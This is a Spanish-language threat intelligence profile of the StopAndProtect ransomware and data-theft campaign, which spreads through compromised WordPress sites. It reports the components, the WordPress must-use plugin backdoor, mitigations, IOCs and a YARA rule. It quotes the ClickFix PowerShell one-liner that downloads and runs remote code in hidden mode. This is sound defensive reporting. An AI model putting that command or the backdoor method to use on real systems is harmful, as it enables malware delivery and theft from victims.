Nombres Alternativos / Aliases
- StopAndProtect (Nombre de la operación y del componente de ransomware)
- ClickFix WordPress Campaign (Por la técnica de ingeniería social)
- SilentEncryptor Ransomware (Por el componente de cifrado)
- SilentDataCollector Stealer (Por el componente de robo de datos)
Fecha de Detección / Actividad
- Primera detección del ransomware: Mediados de mayo de 2026
- Período de recolección de datos: Mayo - julio de 2026
- Sitios WordPress comprometidos: Aproximadamente 2,000
- Ordenadores infectados: Más de 5,000
- Capturas de pantalla robadas: Alrededor de 31,000
- Archivos de datos robados: Más de 700
- Direcciones IP únicas afectadas: Más de 6,000
- Estado: Activa (los operadores continúan gestionando la infraestructura)
Actor de Amenaza (Atribución)
| Característica
|
Detalle
|
| Nombre del Actor
|
Desconocido (operadores de StopAndProtect)
|
| Vínculo Gubernamental
|
No establecido
|
| Tipo de Actor
|
Ciberdelincuencia / Ransomware-as-a-Service (RaaS)
|
| Sofisticación
|
ALTA. Los operadores demuestran:
|
- Infraestructura distribuida con ~2,000 sitios WordPress comprometidos
- Toolkit modular con 6 componentes especializados
- Automatización de gestión masiva con herramienta en Visual Basic 6
- Técnicas avanzadas de evasión (ofuscación, sandbox checks, ejecución en memoria)
- Capacidades de vigilancia sofisticadas (keylogging, captura de pantalla, extracción de WhatsApp) | | Motivación | Financiera (ransomware y extorsión) | | Errores de OPSEC | CRÍTICOS: Los operadores expusieron directorios abiertos, registros de infección, capturas de pantalla de víctimas y el código fuente de sus herramientas de gestión
Resumen Ejecutivo
StopAndProtect es una operación de ciberdelincuencia a gran escala identificada por Check Point Research que ha comprometido aproximadamente 2,000 sitios web de WordPress para utilizarlos como infraestructura distribuida para la distribución de malware, el control de máquinas infectadas y el almacenamiento de datos robados . La campaña combina ransomware con robo de datos, utilizando una cadena de infección de múltiples etapas que comienza con una técnica de ingeniería social ClickFix .
El descubrimiento: Fallos de OPSEC del atacante
Lo que hace excepcional este caso es que los propios operadores cometieron errores de seguridad operativa (OPSEC) que expusieron toda su infraestructura:
- Directorios PHP abiertos que permitían listar archivos
- Registros detallados de infección de máquinas de víctimas
- 31,000 capturas de pantalla de ordenadores infectados
- Código fuente de las herramientas utilizadas para gestionar masivamente sitios WordPress comprometidos
- Listados de aproximadamente 2,000 dominios WordPress comprometidos
Además, los investigadores sospechan que uno de los operadores infectó accidentalmente su propio ordenador, lo que provocó que archivos de desarrollo internos se subieran a la misma infraestructura utilizada para recopilar los datos robados de las víctimas .
"StopAndProtect shows how attackers can turn thousands of poorly maintained WordPress sites into a distributed criminal infrastructure for malware delivery, surveillance, data theft, and ransomware."
— Eli Smadja, Check Point Research
Vector de Ataque / Métodos de Distribución
ClickFix: El punto de entrada
La cadena de infección comienza cuando una víctima visita un sitio web de WordPress comprometido y ve una solicitud falsa de CAPTCHA utilizando la técnica de ingeniería social ClickFix :
- El sitio muestra un CAPTCHA falso (similar a Cloudflare)
- Se instruye al usuario para que copie, pegue y ejecute un comando en su propio ordenador
- El comando se copia automáticamente al portapapeles mediante JavaScript
- El usuario ejecuta:
powershell -w hidden -ep bypass -c IEX ((New-Object Net.WebClient).DownloadString('${psUrl}'))
"Legitimate CAPTCHA challenges should never require users to copy, paste, or run commands outside the browser."
— Check Point Research
Cadena de infección completa
La ejecución del comando PowerShell desencadena un proceso de múltiples etapas :
| Etapa
|
Componente
|
Función
|
| PowerShell 1
|
Script inicial
|
Envía registro de ejecución al C2 y descarga la segunda etapa
|
| PowerShell 2
|
Script secundario
|
Decodifica y ejecuta en memoria el primer cargador .NET
|
| Stage 1 (.NET)
|
Descargador
|
Envía estadísticas al C2 y carga la siguiente etapa
|
| Stage 2 (.NET)
|
Descargador y cargador
|
Incluye comprobaciones de sandbox y mecanismos de registro; lanza los componentes principales
|
| Stage 3 (.NET)
|
Módulos funcionales
|
SilentEncryptor, NetworkShareScanner, LockScreen, SimpleChatProxy, SilentDataCollector, VBS spreader
|
El papel de los sitios WordPress comprometidos
Los sitios WordPress comprometidos cumplen tres funciones principales en la operación :
- Hosting de malware: Alojan las diferentes etapas de la cadena de infección
- Comando y control (C2) : Envían instrucciones a las máquinas infectadas
- Almacenamiento de datos: Guardan registros, capturas de pantalla y documentos robados
Vulnerabilidades explotadas
Los atacantes aprovechan instalaciones de WordPress desactualizadas . Un sitio analizado ejecutaba una versión de WordPress de 2021 y contenía casi 40 vulnerabilidades , incluyendo:
- Fallos de inyección SQL
- Redirecciones abiertas
- Omisión de autenticación
- Cargas arbitrarias de archivos autenticadas
Componentes Maliciosos (Stage 3)
1. SilentEncryptor (Ransomware)
| Característica
|
Descripción
|
| Función
|
Cifra archivos en máquinas infectadas (todas o solo nombres de host específicos)
|
| Derivación de clave
|
Utiliza la contraseña de cada archivo + el nombre del equipo para generar una clave de 32 bytes
|
| Persistencia
|
Ambos valores se incrustan en el nombre del archivo cifrado, permitiendo a los operadores regenerar claves sin una base de datos
|
| Pantalla de bloqueo
|
Muestra un mensaje de rescate con un código QR de pago en criptomonedas
|
2. SilentDataCollector (Robo de datos)
| Característica
|
Descripción
|
| Inventario de archivos
|
Genera listas de todos los archivos en unidades fijas, extraíbles y de red
|
| Exfiltración selectiva
|
El operador puede subir un archivo de comandos para especificar qué archivos robar
|
| Keylogging
|
Registra pulsaciones de teclas con detección de direcciones de correo electrónico válidas
|
| Captura de pantalla
|
Toma capturas cada 30 segundos durante la actividad del usuario (más de 31,000 capturas recolectadas)
|
| Extracción de WhatsApp
|
Automatiza la búsqueda de contactos en WhatsApp Web y Desktop, extrayendo números de teléfono
|
3. NetworkShareScanner (Gusano SMB/USB)
- Enumera recursos compartidos de red SMB y dispositivos USB conectados
- Se propaga a otros dispositivos a través de la red
4. VBS Spreader
- Se propaga a discos duros y medios extraíbles
- Escanea la red y se mueve lateralmente mediante creación remota de procesos a través de WMI
5. LockScreen
- Bloquea la entrada del usuario
- Muestra un mensaje de rescate con un código QR de pago
6. SimpleChatProxy (Chat personalizado)
- Aplicación de chat personalizada para la comunicación entre la víctima y el operador
- La entrada de la víctima está bloqueada; el operador puede enviar imágenes al cliente
Infraestructura y Herramientas del Operador
Backdoor persistente en WordPress (Must-Use Plugin)
| Componente
|
Descripción
|
| Instalador
|
mu-uploader-installer.php
|
| MU Plugin
|
wp-content/mu-plugins/wp-sec.php (se carga automáticamente en cada solicitud y no aparece en la interfaz de plugins)
|
| Endpoint REST oculto
|
/wp-json/wp-sec/v1/upload
|
| Autenticación
|
Credenciales codificadas
|
| Capacidad
|
Permite cargar archivos (incluyendo .php) a casi cualquier ruta bajo la raíz de WordPress
|
| Auto-eliminación
|
El plugin se desactiva y se elimina después de su uso para evadir la detección
|
Herramienta de automatización fMain (Visual Basic 6)
Los investigadores recuperaron el código fuente de una herramienta de automatización personalizada llamada fMain.frm, desarrollada en Visual Basic 6 (una herramienta obsoleta lanzada hace casi 30 años) . Esta herramienta permite al operador gestionar masivamente los sitios WordPress comprometidos:
- Cargar o eliminar archivos en sitios comprometidos
- Activar o desactivar ClickFix con CAPTCHA falso
- Activar o desactivar el almacenamiento en caché
Archivos expuestos (auto-infección)
Los investigadores encontraron un archivo comprimido que parece provenir de la auto-infección del operador , con nombres de proyecto internos como 0a_botnet y fake-captcha . Los archivos incluían:
- Listas de dominios con CAPTCHA falso activo (~1,400 dominios)
- Listas de dominios cargados exitosamente (~300 dominios)
- Código fuente PHP para gestión de archivos y exploración
Impacto y Riesgo
| Categoría
|
Nivel
|
Descripción
|
| Alcance
|
MUY ALTO
|
~2,000 sitios comprometidos, >5,000 máquinas infectadas, >6,000 IPs únicas
|
| Capacidad de evasión
|
ALTA
|
Infraestructura distribuida, ejecución en memoria, sandbox checks
|
| Detección
|
BAJA
|
Tráfico mezclado con actividad web legítima
|
| Persistencia
|
MUY ALTA
|
Must-use plugins en WordPress que no aparecen en la interfaz de administración
|
| Impacto en datos
|
MUY ALTO
|
Ransomware, robo de documentos, credenciales, capturas de pantalla, datos de WhatsApp
|
Distribución geográfica de víctimas (IPs únicas)
| País
|
IPs únicas
|
| Estados Unidos
|
1,852
|
| Rusia
|
630
|
| India
|
630
|
| Otros
|
~2,900
|
Consecuencias para las víctimas
| Consecuencia
|
Gravedad
|
Detalle
|
| Cifrado de archivos
|
Crítica
|
Ransomware SilentEncryptor
|
| Robo de datos
|
Crítica
|
Documentos, credenciales, wallets de criptomonedas
|
| Vigilancia
|
Crítica
|
Capturas de pantalla cada 30 segundos, keylogging
|
| Extracción de contactos
|
Alta
|
Números de teléfono de WhatsApp
|
| Compromiso de credenciales
|
Alta
|
Contraseñas y datos de autenticación
|
Recomendaciones de Mitigación
Para administradores de WordPress
| Acción
|
Prioridad
|
Descripción
|
Auditar directorio wp-content/mu-plugins/
|
CRÍTICA
|
Buscar archivos desconocidos, especialmente wp-sec.php
|
| Actualizar WordPress y plugins
|
CRÍTICA
|
Muchos sitios comprometidos ejecutaban versiones obsoletas (ej. WordPress 2021 con ~40 vulnerabilidades)
|
| Bloquear endpoint REST oculto
|
ALTA
|
Agregar regla WAF para bloquear /wp-json/wp-sec/v1/upload
|
| Eliminar plugins no utilizados
|
ALTA
|
Desactivar complementos que no hayan sido actualizados en más de 12 meses
|
| Revisar cuentas de administrador
|
ALTA
|
Buscar cuentas sospechosas o roles desconocidos
|
Deshabilitar exec, system, passthru
|
ALTA
|
Usar disable_functions en php.ini
|
Para usuarios finales
| Acción
|
Prioridad
|
Descripción
|
| No ejecutar comandos de CAPTCHA
|
CRÍTICA
|
Los CAPTCHA legítimos nunca piden copiar, pegar o ejecutar comandos
|
| No confiar en "verificación humana"
|
CRÍTICA
|
Salir inmediatamente de cualquier sitio que pida pasos inusuales fuera del navegador
|
| Mantener software actualizado
|
ALTA
|
Instalar las últimas actualizaciones de seguridad
|
Para equipos de seguridad
| Acción
|
Descripción
|
| Monitorear actividad de PowerShell
|
Buscar ejecución de PowerShell con -w hidden -ep bypass y descargas de URLs sospechosas
|
| Habilitar ScriptBlock Logging
|
PowerShell Constrained Language Mode
|
| Buscar indicadores de compromiso
|
Utilizar los IoCs publicados por Check Point Research
|
| Reglas YARA
|
Utilizar la regla StopAndProtectOperation publicada por Check Point
|
Opiniones de Expertos
"StopAndProtect shows how attackers can turn thousands of poorly maintained WordPress sites into a distributed criminal infrastructure for malware delivery, surveillance, data theft, and ransomware."
— Eli Smadja, Check Point Research
"The operation doesn't rely on a single piece of malware, but on a whole toolkit of criminal software working together – some components encrypt files, others silently steal documents or lock the screen, and another acts as a live chat between the attackers and their victims."
— Jaromír Hořejší, Check Point Research
Referencias y Fuentes
- Check Point Research. (2026, 18 de agosto). Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect.
- The Hacker News. (2026, 18 de agosto). StopAndProtect Uses Nearly 2,000 Hacked WordPress Sites to Spread Malware and Steal Data.
- Check Point Blog. (2026, 17 de agosto). The Mistake That Exposed a Global Cyber Crime Operation.
Historial de Revisiones
| Fecha
|
Versión
|
Autor
|
Cambios Realizados
|
| 2026-08-19
|
1.0
|
Fernando Vargas Hincapié
|
Creación inicial basada en análisis de Check Point Research y cobertura de prensa
|
Indicadores de Compromiso (IOCs)
Sitios WordPress Comprometidos
| URL
|
Propósito
|
maximumrock[.]ro
|
Sitio comprometido
|
platinumcar[.]ca
|
Sitio comprometido
|
norakremer.co[.]uk
|
Sitio comprometido
|
pharmart[.]ae
|
Sitio comprometido
|
ksr-racingparts[.]com
|
Sitio comprometido
|
Sitios C2 Base
| URL
|
Propósito
|
vk.com[.]ua
|
C2 base
|
www.lapellelaser[.]pl
|
C2 base
|
www.parsrulman[.]com
|
C2 base
|
mectcalcuta[.]com
|
C2 base
|
discherniation[.]com
|
C2 base
|
Endpoint Malicioso
| Endpoint
|
Propósito
|
/wp-json/wp-sec/v1/upload
|
Endpoint REST oculto para carga de archivos PHP
|
Hashes (SHA-256)
| Componente
|
SHA-256
|
| PowerShell Stage 1
|
cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0
|
| PowerShell Stage 2
|
cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9
|
| Stage 1 .NET Downloader
|
99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b
|
| Stage 2 .NET Loader
|
9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527
|
| SilentEncryptor
|
b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489
|
| NetworkShareScanner (Worm)
|
8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4
|
| LockScreen
|
11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e
|
| SilentDataCollector
|
23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70
|
| VBS Spreader
|
b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad
|
| SimpleChatProxy
|
3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9
|
Regla YARA
yara
rule StopAndProtectOperation
{
meta:
Description = "Detects StopAndProtect operation"
Author = "Check Point Research"
Date = "2026-05-26"
Modified = "2026-05-26"
Hash = "712E557373FBA45BDD66D52E395B8AF7CCF7006E6E82D4E1DB0736E738D0D4FB"
strings:
$a = "C:\\Users\\marks\\source\\"
condition:
$a
}
Etiquetas / Categorías
stopandprotect-wordpress-botnet clickfix-ransomware-campaign silentencryptor-ransomware silentdatacollector-stealer 2000-hacked-wordpress-sites wordpress-mu-plugin-backdoor vb6-automation-tool ransomware-data-theft-global-campaign check-point-research